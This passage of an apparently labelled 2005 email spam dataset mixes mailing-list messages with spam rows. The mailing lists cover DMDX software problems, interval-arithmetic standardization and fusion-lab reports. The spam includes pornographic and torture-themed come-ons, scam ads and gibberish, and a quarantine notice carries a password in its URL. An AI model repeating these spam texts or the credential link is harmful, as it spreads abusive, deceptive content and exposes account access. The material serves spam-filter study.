bpp 0 ; Preparation A 0.06ms, B 0.05ms 1 ""1""; Preparation A 0.70ms, B 0.16ms 2 ""2""; Preparation A 1.17ms, B 0.76ms 3 ""2"", ""1""; Preparation A 0.74ms, B 1.00ms 4 ; 1 ""1""; Preparation A 0.83ms, B 0.16ms 2 ""2""; Preparation A 2.41ms, B 0.78ms 3 ""2"", ""1""; Preparation A 0.76ms, B 1.02ms 4 ; Preparation A 0.13ms, B 0.67ms Preparation A 0.00ms, B 0.00ms READ ERROR JOB ABORTED What's the matter? And what I should do to make the pictures displaying circularly ? I beg your advice. Thanks a lot, best wishes. Your sincerely Sun De Lin sundelinustc@hotmail.com _________________________________________________________________ 免费下载 MSN Explorer: http://explorer.msn.com/lccn/",0,1 Skidmore Spam Firewall ,irc-list-web@skidmore.edu,"Fri, 19 Aug 2005 07:03:57 -0400",Spam Quarantine Summary,"Dear irc-list-web@skidmore.edu, this is your quarantine summary from the Skidmore Spam Firewall. You have 7 messages in your spam quarantine inbox. To view the contents of your quarantine inbox or to manage your spam preferences, please open the following link in your browser: https://monty.skidmore.edu:443/cgi-bin/index.cgi?user=irc-list-web@skidmore.edu&password=ddb0668ee2c28c7f66d5805794c3d0b0&et=1124881437 ",0,1 Hervé Brönnimann ,"reliable_computing@interval.louisiana.edu, interval@listserv.utep.edu","Fri, 19 Aug 2005 13:50:51 -0400",C++ Standardization of intervals,"Dear fellow intervalers: As you may know, we (G. Melquiond, S. Pion, and myself) have been following Jens Maurer's footsteps in providing a C++ implementation of intervals. This has resulted in the C++ Boost.Interval library, which was accepted three years ago after a thorough public review into Boost. The URL is: http://boost.org/libs/numeric/interval/doc/interval.htm One of the goals of the Boost.Interval library was standardization. We hope that by standardization, we will create opportunities for better optimizations directly in the C++ compilers. The overall benefit, should the proposal be accepted, is that an efficient and optimized implementation of intervals would ship with most C++ compilers, in the same way as the class templates complex and valarray already do, and as interval already does with the Sun compiler. We are now preparing a proposal for the C++ ISO Standard. We have of course had to make a few choices, but by and large, our approach has been to make reasonable and conservative choices to limit the Boost.Interval library (which allows all kinds of behaviors through a policy-based design). I copy-paste the design overview below. This is of course a very succinct statement, but it reflects most of the design choices. The devil may be in the details, but in the broad design, we have carefully taken into account the Interval FAQ, the existing Sun implementation, and the discussions. The full preliminary proposal and code is accessible from Sylvain Pion's web page: http://www-sop.inria.fr/geometrica/team/Sylvain.Pion/cxx/ We have already had some comments. If there are enough comments, we would try to issue a revision before the next C++ standardization meeting (October, in accordance with the Fall calendar of the C++ committee), where we will defend the proposal. We would like to get your feedback, and want to assure you that we are committed in getting the best proposal possible, both in terms of performance, design, and consensus. Also, it is important that you provide your vocal support (tell us, write a formal letter of support, etc.) if you would like to see the proposal accepted. We would like to offer the C++ committee the assurance that the proposal has the wide support from the interval community. Please reply to all three of us (we're in the Cc list) as well as to the interval list. Yours, -- Hervé Brönnimann CIS, Polytechnic University hbr@poly.edu Excerpt from the design overview [for information only; for discussions, please try and read the whole proposal before commenting] > The basic design aims at introducing a single class template > {interval} which guarantees the inclusion property. Like > {complex}, we decided to support the three built-in floating > point types and leave the rest unspecified. We decided to support > empty intervals, because they can be integrated easily into the > proposal. We decided to support equality and relational comparisons > that extend the comparisons on the base type {T}. This implies > dealing with comparisons of empty or overlapping intervals. Both > can be made to work very naturally by also providing an > {interval} as the result of such comparisons, and exceptions > can be avoided up to this level. In this way, we are supporting > both the certainly-less-than and possibly-less-than comparison > models. In order to use comparisons in conditionals, a conversion > from {interval} to {bool} is provided, and only at that level > is an exception thrown, when it involves an empty or indeterminate > boolean interval. The behavior on out-of-domain argument values > (in {sqrt}, for instance) is a silent and no-exception behaviour, > which returns the empty interval. > >",0,1 Scotty Downs ,angelina@serrano.cc.columbia.edu,"Sun, 21 Aug 2005 12:52:22 +0400",�λ����� ���� ���鶧 ������ �ǵ帮�ڽ��ϴ�.,"Sometimes stalactite toward laughs out loud, but behind asteroid always bur cloud formation over!A few swamps, and judge over) to arrive at a state of boyCEO inside omphalos ceases to exist, and maestro living with microscope ruminates; however, fetishist related to widow share a shower with.. ",1,0 John Curtin ,DMDX@psy1.psych.arizona.edu,"Mon, 22 Aug 2005 08:18:14 -0500",[DMDX] problem playing movies,"I am having a problem playing movies (avi files) in DMDX. We are using the most recent version of DMDX on a Win98 machine (its a shared fMRI lab and the person responsible for computers is not willing to upgrade OS). The avi files slow noticeably for the last handful of frames. On occasion, there is even noticeable slowing in the middle of the (3 second) movie. The movies do play normally (without slowing) using windows media player. The movies also play normally with DMDX on a few other machines running XP. Thoughts on where the problem lies with this Win98 machine? Thanks for any help? John -- John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Website: http://dionysus.psych.wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029 ",0,1 John Curtin ,DMDX@psy1.psych.arizona.edu,"Mon, 22 Aug 2005 15:25:51 -0500",[DMDX] problem playing movies (more info),"As a follow-up to this question about playing movies, here are the specs on the video card: Magnum/Xpert128/X99/Xpert2000 ASIC Type RAGE 128 ASIC ID 5246 Memory Size 32.0M Memory Type SDR SGRAM 1:1 / SDRAM Thanks for any info best, J ---------- Forwarded message ---------- From: John Curtin Date: Aug 22, 2005 8:18 AM Subject: [DMDX] problem playing movies To: DMDX@psy1.psych.arizona.edu Cc: ""Jack B. Nitschke"" I am having a problem playing movies (avi files) in DMDX. We are using the most recent version of DMDX on a Win98 machine (its a shared fMRI lab and the person responsible for computers is not willing to upgrade OS). The avi files slow noticeably for the last handful of frames. On occasion, there is even noticeable slowing in the middle of the (3 second) movie. The movies do play normally (without slowing) using windows media player. The movies also play normally with DMDX on a few other machines running XP. Thoughts on where the problem lies with this Win98 machine? Thanks for any help? John -- John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Website: http://dionysus.psych.wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029 -- John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Website: http://dionysus.psych.wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029",0,1 """Stephen M. Wolfe"" ",CMOD_WEEKLY@cmod.psfc.mit.edu,"Mon, 22 Aug 2005 13:28:00 -0400",Alcator C-Mod Weekly Highlights," Alcator C-Mod Weekly Highlights August 22, 2005 FY2005 weeks of research operations Planned: 17 weeks Completed: 16.7 weeks Operations ---------- Research operations continued at Alcator C-Mod last week. Two run days were scheduled and completed. A total of 44 plasma discharges were produced with a startup reliability over 80%. The two run days supported three experiments, including MiniProposals from the RF Physics and Transport areas and the Operations group. Research operations are planned to continue this week. Run Details ----------- The first half of the run on Thursday was devoted to MP#389 ""Compact Neutral Paricle Analyzer (CNPA) Testing and Calibration"". This experiment, which comprises part of the thesis research of an MIT graduate student, concerns diagnosis of ICRF-generated hydrogen tail ions by pulse-height analysis of charge exchanged neutrals, including both passive measurements and active charge exchange measurements using the diagnostic neutral beam (DNB). For these experiments, two diagnostic systems, at F-port and a newly-installed two channel detector at C-port, were employed. ICRF minority heating was carried out for target plasmas at 600 and 800kA and Bt=5.2T, using the E-port and J-port antennas oprating at frequencies of 80 and 78MHz respectively. Density scans were carried out at both currents. Passive fast ion signals with high count rates were observed. The spectra were energetic, with some distributions almost flat between 100 and 400keV. In addition, clear active charge exchange signals were obtained using the DNB. The CNPA signal was found to be sensitive to edge neutral pressure. The second half of Thursday's run was dedicated to MP#430 ""Localization of the boronization effect"" from the Operations group. Three between-shot boronizations were performed to assess the relative effectiveness of wide versus narrow scans of the ECDC resonance location and of 100% vs 50% duty factors in the boronization discharge. All post-boronization discharges exhibited good initial H-mode performance, but these were limited by impurity injections. The 100% duty factor cases required longer pump-out times before attempting the next shot than did the 50% example. The run on Friday was devoted to MP#400a, ""High k, high frequency fluctuations in electron transport dominated regimes"" from the Transport Science group. The purpose of this experiment is to look for changes in density fluctuations, particularly those at short wavelength and high frequency ,in low density Ohmic regimes, where transport is known to be dominated by the electron channel. The goal is to correlate electron transport levels with fluctuations at scales that might correspond to predicted instabilities. Density scans were carried out in both inner-wall limited and lower single null equilibria, although the lowest density regime was only accessible in the divertor discharges because of high disruptivity in the limter configuration. Initial assessment of the density fluctuations observed by the PCI (Phase Contrast Imaging) diagnostic did not indicate the presence of significant high-k fluctuations. High frequency magnetic fluctuations which had been previously observed during current rise and fall in single null plasmas, were observed throughout the limiter discharges, suggesting possible damping of the modes due to edge magnetic shear in diverted cases. ICRF Systems ------------ During the planned ICRF system conversion to 78 MHz, Uptegraff #3 power supply (27 kV, 150 A) developed a short between the HVDC and LVDC taps. To continue with J antenna operation, the antenna was reconfigured as a dipole and resumed plasma operation on August 18th using only FMIT#4. J-port operation as a two strap antenna has reliably supplied 1.5 MW of power to the plasma. Repair of the uptegraff supply will begin following the current run period. Lower Hybrid System ------------------- Finite element analysis of the 24-window prototype is complete. Stresses were found to be at allowable levels, and we are proceeding with preparations for the braze test. Two of the four new stainless steel couplers are in house with two more expected this week. Enough new alumina windows are in house to braze all the couplers . Inspections and bake tests of the windows indicate very high quality material and metal coatings. Preparations for phase and amplitude measurements continue in collaboration with PPPL. Long Pulse Diagnostic Neutral Beam System ----------------------------------------- Two Russian scientists from the Budker Institute arrived on Monday night for a two-week stay, during which they will recondition the DNB back up to full performance. They have been running the beam during C-Mod runs, including into the plasma on Thursday, in the evenings after C-Mod shuts down, and over the weekend. The IR pyrometer for monitoring inboard wall heating by the long-pulse DNB has been calibrated and is ready to install. Travel and Visitors -------------------- Ted Biewer traveled to PPPL to participate in an experiment (XP505) on NSTX, which was run Tuesday and Wednesday with Rajesh Maingi of ORNL/PPPL and Hendrik Meyer of UKAEA. Tuesday's run was dedicated to locating the L-H power threshold in NSTX plasmas as the plasma shape was varried between double-null (DN), lower-single-null (LSN), and upper-single-null (USN), where the auxilliary power was supplied by co-current Neutral Beam Injection (NBI). The plasma shapes which were developed on Tuesday, using rtEFIT control, were then used on Wednesday to explore the L-H power threshold, where the auxilliary power was supplied by the HHFW RF-antenna. In both NBI and HHFW heated cases, the lowest L-H power threshold was found in balanced DN, though the power threshold was lower in NBI heated plasmas (factor of 2). The power threshold increase in LSN by about a factor of 2 in both cases, compared to DN. And the power threshold increased in USN by about a factor of 4 in NBI heated plasmas, compared to DN. USN in HHFW heated plasmas was not attempted due to the lack of runtime, and the indication from the above trends that the amount of power required would be greater than that which could be supplied by the RF antenna, for this shape. Analysis of data, particularly edge flow velocity, is pending. Dr. Petr P. Deichuli and Mr. Grigory Shulzhenko from the Budker Institute for Nuclear Physics in Novosibirsk, Russia arrived Monday evening for a two-week stay. They will be working on the Long Pulse Diagnostic Neutral Beam. ",0,0 Roy ,DMDX@psy1.psych.arizona.edu,"Wen, Mon, 22 Aug 2005 10:32:19 +0600","She is shocked and bloody, what they are doing it with her!","The woman’s groans and screamed inspire you very much, don’t they??? I think it will help you to watch how they use brute force! Don’t deprive yourself – watch these terrible tortures! Can a man take fire in his bosom, and his clothes not be burned?. Give and spend and God will send",1,1 Ruben ,reliable_computing-outgoing@interval.louisiana.edu,"Mon, 22 Aug 2005 21:43:55 -0700",charming russian pretty Schoolgirl here!," Youngest gorgeous Eighteens fucked anallly! http://playpeopleplay.info/fpafporn.htm?iSPhfd.fX,hj UN$$UBSCRlBE http://playpeopleplay.info ",1,1 cwegman ,rosetta@serrano.cc.columbia.edu,,"Would you like to have a killer meat stick? If you do, Penis Enlarge Patch should be for you.",Penis Enlarge P@tch c@n enlarge your d1ck so much1t w0uld be hard for w0men t0 have sex with you. http://www.taplen.com/pt/?51&cvXrEe,1,1 Jody Hull ,"reliable_computing-outgoing@interval.louisiana.edu, cherry@interval.louisiana.edu, colleen@interval.louisiana.edu, gayle@interval.louisiana.edu, charlotte@interval.louisiana.edu, tara@interval.louisiana.edu","Tue, 23 Aug 2005 00:47:47 -0500","Depression can be serious, beware","or proponent and formosa , expunge ! sloganeer see empire ",1,0 Andrzej Pownuk ,reliable_computing@interval.louisiana.edu,"Tue, 23 Aug 2005 16:50:37 +0200",ODP: Tolerable/controllable solution applications,"Dear dr Kulpa, I do not know any applications of classical tolerable and controllable solution sets, however it is possible to generalize the tolerable/controllable solution sets and in this case it is possible to show a lot of applications. Description is given here: http://s212.bud.polsl.gliwice.pl/~andrzej/download/tolerable.pdf Regards, Andrzej Pownuk --------------------------------------------- Ph.D., research associate at: Chair of Theoretical Mechanics Faculty of Civil Engineering Silesian University of Technology ul. Krzywoustego 7 44-100 Gliwice, Poland Tel/fax: 0048 32 2371542 Mobile: 0048 606 550147 URL: http://pownuk.com E-mail: andrzej@pownuk.com --------------------------------------------- ________________________________ Od: owner-reliable_computing@interval.louisiana.edu w imieniu Zenon Kulpa Wysłano: Pt 2005-08-12 15:11 Do: reliable_computing@interval.louisiana.edu; interval@cs.utep.edu DW: zkulpa@ippt.gov.pl Temat: Tolerable/controllable solution applications Dear Intervalers, I am looking for some simple examples of practical problems involving control (controllable) and tolerance (tolerable) solution sets of interval linear systems of equations. I would greatly appreciate obtaining references to appropriate papers, or possibly descriptions of the examples. -- Zenon Kulpa ",0,1 John Curtin ,DMDX@psy1.psych.arizona.edu,"Tue, 23 Aug 2005 11:55:23 -0500",[DMDX] more movie details,"Further details on our movie problem. File plays fine in Digital video test with TimeDX (including check boxes to track retrace and to initialize DirectSound). File is 720X 480, 24 bit, 90 frames at 29.970ms/frame and using the Cinepac codec. DMDX script is using 800 X 600, 16 bit. at 60hz. Processor is a PIII with 896MB of RAM. Tried updating DirectX to v9.0. Didnt fix problem Tried updating/changing Cinepac codec. Didnt fix problem. Tried pre-loading video (with medialife). Didnt fix problem. Thanks J -- John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Website: http://dionysus.psych.wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029 ",0,1 Zenon Kulpa ,reliable_computing@interval.louisiana.edu,"Tue, 23 Aug 2005 20:53:35 +0200",Re: ODP: Tolerable/controllable solution applications,"Andrzej Pownuk wrote: > > I do not know any applications of classical tolerable > and controllable solution sets, > however it is possible to generalize > the tolerable/controllable solution sets > and in this case it is possible to show a lot of applications. > > Description is given here: > > http://s212.bud.polsl.gliwice.pl/~andrzej/download/tolerable.pdf > Nice formulation, thank you. Probably you should check how it corresponds to the generalized solution sets of Sergey Shary. However, what I am seeking now are some concrete application examples, not general statements of possibility. -- Zenon Kulpa ",0,1 Virginia Kay ,Encl@columbia.edu,"Tue, 23 Aug 2005 17:08:19 -0400",FALL REGISTRATION ,"REGISTRATION starts next week: Registration Dates Tuesday, August 30-Thursday, September 1 Change of Program Tuesday, September 6-Friday, September 9 Monday, September 12-Friday, September 16 Late Registration (fee may apply) Tuesday, September 6 For INSTRUCTIONS go to http://www.columbia.edu/cu/registrar/docs/students/registration/registration-process.html All students should register for at least their residence category. Register for lecture courses if you've decided. ",0,1 Jesus Whitt ,lucille@cs.utexas.edu,"Wed, 24 Aug 2005 00:28:34 -0400",�λ����� ���� ���鶧 ������ �ǵ帮�ڽ��ϴ�.,"A few tea parties, and dissident living with) to arrive at a state of cowardNow and then, pocket from tornado graduate from inside tripod.Marcos, although somewhat soothed by dilettante related to and marzipan over tea party.Now and then, grizzly bear near go deep sea fishing with cream puff behind.fairy for dust bunny is slovenly.Marcos and I took around bonbon (with defined by fruit cake, inside bubble. ",1,0 Ray Moore ,reliable computing ,"Wed, 24 Aug 2005 08:39:02 -0400",Verification and validation,"Dear Colleagues, I bring to your attention the attached preprint submitted by Babuska and Oden concerning ""verification"" and ""validation"". I had not previously known that these two terms have been used for some time in rather precise ways, namely ""verification"" for checking that computed results accurately reflect the behavior of a mathematical model, and ""validation"" for checking that a mathematical model accurately reflects observable reality. We may want to switch to the use of the term ""verified"" rather than ""validated"" for our interval and related methods guaranteeing accuracy in the solution of mathematical problems. best regards, Ray Moore ",0,0 Nathalie Bélanger ,DMDX@psy1.psych.arizona.edu,"Wed, 24 Aug 2005 13:18:04 -0400",[DMDX] Re: 1024 x 768 resolution at 160 Hz,"Hi! I wrote a while back with a question about resolution and refresh rates. I have a new monitor Iiyama HM204DT and the specs say that at 1024x 768 res., I can have a refresh rate of maximum 178Hz. At the moment, my screen is set on 1024 x 768 res. and at a refresh rate of 160 Hz. This is a new monitor bought because of these specific possibilities - high refresh rate at high-ish resolution. My Video card is a Radeon 7500 with the latest drivers installed. I called ATI and the support people there told me this card, with the proper monitor, which I now have, can support up to 200 Hz refresh rate. Still, with this equipement, I get a maximum refresh rate of 85Hz in TimeDX in the Select Video Mode Menu. What do I need to do to have DMDX run at the high refresh rate that I need? Thanks for your help, Nathalie -- Nathalie Bélanger Ph.D. Student School of Communication Sciences and Disorders McGill University 1266 Avenue des Pins ouest Montréal, Québec Canada H3G 1A8 Tel.: (514) 398-6895 Previous emailing below: Jonathan C. Forster a écrit: > At 12:02 PM 4/28/2005 -0400, you wrote: > >> Hello! >> >> I wish to run a masked priming experiment with DMDX. My prime >> durations are extremely brief (14, 24 and 34 ms) and it was >> recommended to me that I set my screen refresh rate very high to >> avoid much variability in the presentation of my primes. I also need >> this resolution because I will be running an eye-tracking study with >> the same stimuli and prime durations. I need both experimentations to >> be compatible. I have a couple of interrogations: >> >> (1) The video mode in DMDX can be set at 85 Hz maximum and I am >> wondering what setting I should use since my monitor is set at 160hz. > > > Your monitor might be capable of running at 160Hz but it isn't set > at 160Hz, it will run at any speed up to 160Hz. DMDX simply reflects > what the operating system says the display can handle, if it's not > what you want you can try new video drivers and if that doesn't work > you'll probably have to get a new video card. > > >> I have already tried the help files and I have read a thread on this >> in the mailinig list but I didn't really understand. I am very new at >> dealing with hardware and timing issues. If someone could provide me >> info in laymen terms, I would appreciate. I have updated the pilots >> of my monitor (ViewSonic P95f+) and of my graphic card (Radeon 7500). > > > My guess based on my experience with Radeon 7500 is that it isn't > capable of providing a display at 160Hz. > > >> (2) Also, when I run the millisecond timer test in the basic tests >> section, it gives me a value of -0.00 ms for the refresh rate! >> Somehow, I think that is now quite what it should be. > > > You can try checking the ""Read Between Flips to stop Cheating Video > Drivers"". If that doesn't get it it sounds like you're a prime > candidate for new video drivers from ati.com. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > > ",0,1 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Wed, 24 Aug 2005 11:03:18 -0700",[DMDX] RE: Re: 1024 x 768 resolution at 160 Hz,"Nathalie, Something is seriously wrong, obviously. Jonathan is away at the moment, and you probably won’t get a comment from him until Friday. However, on our system with very ordinary monitors, I can get 100 hz -- but not at your screen resolution. We just select a lower resolution (the video card is an NVIDIA RIVA TNT2). --k.i.f. -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Nathalie Bélanger Sent: Wednesday, August 24, 2005 10:18 AM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: 1024 x 768 resolution at 160 Hz Hi! I wrote a while back with a question about resolution and refresh rates. I have a new monitor Iiyama HM204DT and the specs say that at 1024x 768 res., I can have a refresh rate of maximum 178Hz. At the moment, my screen is set on 1024 x 768 res. and at a refresh rate of 160 Hz. This is a new monitor bought because of these specific possibilities - high refresh rate at high-ish resolution. My Video card is a Radeon 7500 with the latest drivers installed. I called ATI and the support people there told me this card, with the proper monitor, which I now have, can support up to 200 Hz refresh rate. Still, with this equipement, I get a maximum refresh rate of 85Hz in TimeDX in the Select Video Mode Menu. What do I need to do to have DMDX run at the high refresh rate that I need? Thanks for your help, Nathalie -- Nathalie Bélanger Ph.D. Student School of Communication Sciences and Disorders McGill University 1266 Avenue des Pins ouest Montréal, Québec Canada H3G 1A8 Tel.: (514) 398-6895 Previous emailing below: Jonathan C. Forster a écrit: At 12:02 PM 4/28/2005 -0400, you wrote: Hello! I wish to run a masked priming experiment with DMDX. My prime durations are extremely brief (14, 24 and 34 ms) and it was recommended to me that I set my screen refresh rate very high to avoid much variability in the presentation of my primes. I also need this resolution because I will be running an eye-tracking study with the same stimuli and prime durations. I need both experimentations to be compatible. I have a couple of interrogations: (1) The video mode in DMDX can be set at 85 Hz maximum and I am wondering what setting I should use since my monitor is set at 160hz. Your monitor might be capable of running at 160Hz but it isn't set at 160Hz, it will run at any speed up to 160Hz. DMDX simply reflects what the operating system says the display can handle, if it's not what you want you can try new video drivers and if that doesn't work you'll probably have to get a new video card. I have already tried the help files and I have read a thread on this in the mailinig list but I didn't really understand. I am very new at dealing with hardware and timing issues. If someone could provide me info in laymen terms, I would appreciate. I have updated the pilots of my monitor (ViewSonic P95f+) and of my graphic card (Radeon 7500). My guess based on my experience with Radeon 7500 is that it isn't capable of providing a display at 160Hz. (2) Also, when I run the millisecond timer test in the basic tests section, it gives me a value of -0.00 ms for the refresh rate! Somehow, I think that is now quite what it should be. You can try checking the ""Read Between Flips to stop Cheating Video Drivers"". If that doesn't get it it sounds like you're a prime candidate for new video drivers from ati.com. /""\\ -jonathan (j.c.f.) \\ / X ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ",0,1 Nathalie Bélanger ,DMDX@psy1.psych.arizona.edu,"Wed, 24 Aug 2005 14:10:44 -0400",[DMDX] RE: Re: 1024 x 768 resolution at 160 Hz,"Hello Kenneth, Thank you for your reply. Do you have anything to suggest in the meantime or should I wait for Jonathan's return from vacations? Nathalie Kenneth Forster a écrit: > Nathalie, > > > > Something is seriously wrong, obviously. Jonathan is away > at the moment, and you probably won't get a comment from him until > Friday. However, on our system with very ordinary monitors, I can get > 100 hz -- but not at your screen resolution. We just select a lower > resolution (the video card is an NVIDIA RIVA TNT2). > > > > --k.i.f. > > > > > > -----Original Message----- > From: DMDX-owner@psy1.psych.arizona.edu > [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Nathalie Bélanger > Sent: Wednesday, August 24, 2005 10:18 AM > To: DMDX@psy1.psych.arizona.edu > Subject: [DMDX] Re: 1024 x 768 resolution at 160 Hz > > > > Hi! > > I wrote a while back with a question about resolution and refresh > rates. I have a new monitor Iiyama HM204DT and the specs say that at > 1024x 768 res., I can have a refresh rate of maximum 178Hz. At the > moment, my screen is set on 1024 x 768 res. and at a refresh rate of > 160 Hz. This is a new monitor bought because of these specific > possibilities - high refresh rate at high-ish resolution. My Video > card is a Radeon 7500 with the latest drivers installed. I called ATI > and the support people there told me this card, with the proper > monitor, which I now have, can support up to 200 Hz refresh rate. > Still, with this equipement, I get a maximum refresh rate of 85Hz in > TimeDX in the Select Video Mode Menu. What do I need to do to have > DMDX run at the high refresh rate that I need? > > Thanks for your help, > > Nathalie > > -- > > Nathalie Bélanger > > Ph.D. Student > School of Communication Sciences and Disorders > McGill University > 1266 Avenue des Pins ouest > Montréal, Québec > Canada H3G 1A8 > Tel.: (514) 398-6895 > > > > Previous emailing below: > > > Jonathan C. Forster a écrit: > > At 12:02 PM 4/28/2005 -0400, you wrote: > > Hello! > > I wish to run a masked priming experiment with DMDX. My prime > durations are extremely brief (14, 24 and 34 ms) and it was > recommended to me that I set my screen refresh rate very high to avoid > much variability in the presentation of my primes. I also need this > resolution because I will be running an eye-tracking study with the > same stimuli and prime durations. I need both experimentations to be > compatible. I have a couple of interrogations: > > (1) The video mode in DMDX can be set at 85 Hz maximum and I am > wondering what setting I should use since my monitor is set at 160hz. > > > Your monitor might be capable of running at 160Hz but it isn't set > at 160Hz, it will run at any speed up to 160Hz. DMDX simply reflects > what the operating system says the display can handle, if it's not > what you want you can try new video drivers and if that doesn't work > you'll probably have to get a new video card. > > > > I have already tried the help files and I have read a thread on this > in the mailinig list but I didn't really understand. I am very new at > dealing with hardware and timing issues. If someone could provide me > info in laymen terms, I would appreciate. I have updated the pilots of > my monitor (ViewSonic P95f+) and of my graphic card (Radeon 7500). > > > My guess based on my experience with Radeon 7500 is that it isn't > capable of providing a display at 160Hz. > > > > (2) Also, when I run the millisecond timer test in the basic tests > section, it gives me a value of -0.00 ms for the refresh rate! > Somehow, I think that is now quite what it should be. > > > You can try checking the ""Read Between Flips to stop Cheating Video > Drivers"". If that doesn't get it it sounds like you're a prime > candidate for new video drivers from ati.com. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu > with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > > > > > -- Nathalie Bélanger Ph.D. Student School of Communication Sciences and Disorders McGill University 1266 Avenue des Pins ouest Montréal, Québec Canada H3G 1A8 Tel.: (514) 398-6895",0,1 Judy Vega ,reliable_computing-outgoing@interval.louisiana.edu,"Wed, 24 Aug 2005 13:10:24 +0100",Replica for you,"Beautiful Watches At Major Discouunts Wear Real Class on Your Wrist and Impress Others We carry all major top-name brands (982 models in all brands to choose from), at you can ONLY find Online! These watches will dignify any wrist and add class to any outfit. Visit our site for more great deals on MENS and LADIES watchess SPECIAL THIS WEEK ONLY This week we are offering great deals on SWISS Rolex watches. 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Most of the latter will appear in the next few issues of LAA, but it may take longer for articles intended for special issues which are now available from ScienceDirect. ",0,1 Virginia Kay ,encl@columbia.edu,"Wed, 24 Aug 2005 15:19:38 -0400",JOB: Cooper Union adjunct,"JOB: The Faculty of Humanities and Social Sciences at the Cooper Union seeks an instructor for one section of HSS1: Literary Forms and Expressions for the fall 2005 semester. HSS1 is the first semester of Cooper Union's Core Curriculum. The course begins with the classical period and concludes with Dante's Inferno. Further information is available on the Humanities and Social Sciences page at the Cooper Union website: www.cooper.edu. The section is scheduled for Tuesdays from 9 to 11 and Thursdays from 12 to 1. Candidates must be experienced classroom literature teachers with a working knowledge of the subject at hand. PhD students at the ABD level and those with PhDs in hand are invited to apply. MFA holders are not eligible for this position. The Cooper Union is EOE/AA by choice. Please send cover letter and cv by email to petermenlo@aol.com or to hyman@cooper.edu. No phone calls, please. Interviews will be held on Wednesday, August 31st.",0,0 Virginia Kay ,Bulletin Board ,"Wed, 24 Aug 2005 15:52:14 -0400",NEW TAs GSAS Orientation,"GSAS Orientation for new TAs begins on Thursday, September 1. New TAs are encouraged to attend the Plenary session that morning. Attendance at one Courseworks workshop is HIGHLY RECOMMENDED and TAs can register for one of a variety of dates at http://www.ccnmtl.columbia.edu/services/workshops/index.html Other workshops are available, including: Encouraging participation in humanities International Teaching Fellows (if appropriate) Teaching controversial and politicized topics Please visit http://www.columbia.edu/cu/tat/05TForientation.html for more information and to register for workshops.",0,1 Virginia Kay ,enclgrads@CUVMC.AIS.COLUMBIA.EDU,"Wed, 24 Aug 2005 16:01:02 -0400",JOBS: Cooper Union; New Jersey City University,"The Faculty of Humanities and Social Sciences at the Cooper Union seeks an instructor for one section of HSS1: Literary Forms and Expressions for the fall 2005 semester. HSS1 is the first semester of Cooper Union's Core Curriculum. The course begins with the classical period and concludes with Dante's Inferno. Further information is available on the Humanities and Social Sciences page at the Cooper Union website: www.cooper.edu. The section is scheduled for Tuesdays from 9 to 11 and Thursdays from 12 to 1. Candidates must be experienced classroom literature teachers with a working knowledge of the subject at hand. PhD students at the ABD level and those with PhDs in hand are invited to apply. MFA holders are not eligible for this position. The Cooper Union is EOE/AA by choice. Please send cover letter and cv by email to petermenlo@aol.com or to hyman@cooper.edu. No phone calls, please. Interviews will be held on Wednesday, August 31st. _________________________ English Department at New Jersey City University is seeking an adjunct to teach one course: either 20th Century British Literature (meets Monday night) or Survey of Dramatic Literature to 1620 (meets middle of the day Tuesday and Wednesday). Both courses are 3 credits, and compensation is $850.00 per credit. M.A. and experience teaching in area required/ABD preferred. Excellent opportunity for doctoral student. Please fax cover letter and c.v. to 201-200-2228, attn: Professor Pennino, Chair, English Department. Professor Pennino Chair Department of English New Jersey City University",0,0 Ranmalee Rathnadiwakara Eramudugolla ,DMDX@psy1.psych.arizona.edu,"Thu, 25 Aug 2005 10:57:25 +1000",[DMDX] intermittent problems opening files,"Hi all, I am not sure whether this is an issue with dmdx, or something else, but i am encountering frequent problems running item files, and the error message indicates that dmdx cannot open any of the .wavs or .bmps. The problem started occuring fairly suddenly. I can't see anything wrong with my .rtf script, and indeed sometimes, dmdx will run the item file without any difficulties at all - implying that it can find the files in the folder containing the dmdx program. But why doesn't it work all the time? I've reinstalled the newest version of dmdx, and the problem continues. Does anyone have any ideas? regards Ranmalee Here is a short example of one of my files: n110 s5 g2 $ 0“Auditory search task with scenes of 6 sounds - press spacebar to proceed”;$ 0 ""Press spacebar when ready""; -2000 ""ring"" %60/*“6N000”;0 ""Press spacebar when ready""; +1001 ""trumpet"" %60/*“6N001”;0 ""Press spacebar when ready""; +1002 ""ring"" %60/*“6N002”;0 ""Press spacebar when ready""; -2003 ""trumpet"" %60/*“6N003”;0 ""Press spacebar when ready""; -2004 ""birds"" %60/*“6N004”;0 ""Press spacebar when ready""; +1005 ""piano"" %60/*“6N005”;0 ""Press spacebar when ready""; +1109 ""birds"" %60/*“6N109”; $0 “End of block, Thank you”;$ -- ------------------------------------------------- 